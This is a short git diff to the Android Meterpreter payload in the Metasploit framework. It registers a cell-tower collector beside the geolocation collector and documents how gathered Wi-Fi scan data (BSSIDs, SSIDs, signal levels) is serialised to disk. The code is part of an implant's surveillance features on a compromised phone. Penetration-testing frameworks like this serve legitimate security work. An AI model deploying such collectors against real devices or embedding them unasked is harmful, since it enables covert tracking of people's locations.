diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/IntervalCollectionManager.java b/java/androidpayload/library/src/com/metasploit/meterpreter/IntervalCollectionManager.java index dc47d950..86e8b564 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/IntervalCollectionManager.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/IntervalCollectionManager.java @@ -71,11 +71,11 @@ public class IntervalCollectionManager { this.collectors.put(COLLECT_TYPE_WIFI, collector); } - // more collection types will go here. - collector = new GeolocationCollector(COLLECT_TYPE_GEO, this.context); + collector = new GeolocationCollector(COLLECT_TYPE_GEO, this.context); if (collector.loadFromDisk()) { this.collectors.put(COLLECT_TYPE_GEO, collector); } + collector = new CellCollector(COLLECT_TYPE_CELL, this.context); if (collector.loadFromDisk()) { this.collectors.put(COLLECT_TYPE_CELL, collector); diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/WifiCollector.java b/java/androidpayload/library/src/com/metasploit/meterpreter/WifiCollector.java index 76671fa6..69dde02c 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/WifiCollector.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/WifiCollector.java @@ -158,8 +158,14 @@ public class WifiCollector extends IntervalCollector { synchronized (this.syncObject) { this.collections.put(System.currentTimeMillis(), results); - // collect requires the result to be the serialised version of - // the collection data so that it can be written to disk + // serialize and write to storage, formatted as: + // Long( configured polling frequency [ timeout ] ) + // Long( number of snapshots taken ) + // -> Long( collection timestamp key ) + // -> Long( number of entries in this snapshot ) + // -> String (bssid) + // -> String (ssid) + // -> Short (signal level) output.writeLong(this.timeout); output.writeInt(this.collections.size()); for (Long ts : this.collections.keySet()) {